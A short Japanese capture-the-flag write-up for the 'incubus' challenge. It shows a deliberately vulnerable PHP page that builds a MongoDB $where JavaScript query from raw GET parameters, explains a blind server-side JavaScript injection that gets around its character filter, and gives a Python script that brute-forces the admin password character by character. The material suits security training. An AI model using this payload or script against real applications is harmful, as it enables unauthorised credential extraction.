<?php include "./config.php"; login_chk(); $db = mongodb_connect(); if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~"); $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}"); echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>"; $result = mongodb_fetch_array($db->prob_incubus->find($query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; $query = array("id" => "admin"); $result = mongodb_fetch_array($db->prob_incubus->find($query)); if($result['pw'] === $_GET['pw']) solve("incubus"); highlight_file(__FILE__);
特徴は以下。
- MongoDB
- id,pwが入力可能
prob,_,(
がフィルタリング
- whereを使って持ってきている
- adminのpwを特定する必要がある
Blind NoSQL Injection (for MongoDB) (SSJI?)
Blind NoSQL Injectionをやる。
というより、with SSJIかも。
MongoDBではJSで評価関数を使って持ってくるwhere構文がある。
開き括弧が使えないので、js関数は使えない。
配列をうまく使おう。
idにadmin' && obj.pw[0]=='a';'
を入れればいい。
するとインジェクション後は
function(){ return obj.id=='admin' && obj.pw[0]=='a'; ''&&obj.pw==''; }
となり、良い感じになる。
import requests url = "https://los.rubiya.kr/chall/incubus_3d7.php" cookie = {'PHPSESSID': 'q5'} def check(data) -> bool: return ("Hello admin" in data) or ("Hello guest" in data) or ("<h2>Hello User</h2>" in data) def make_query(ans, c, idx): return {'id': f"admin' && obj.pw[{idx-1}]=='{c}';'"} ans = "" for i in range(1, 1010): ok = False for c in "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ,": res = requests.get(url, params=make_query(ans, c, i), cookies=cookie) if check(res.text): ans += c ok = True break if not ok: break print(f"[*] {ans}") print(f"[*] find! {ans}")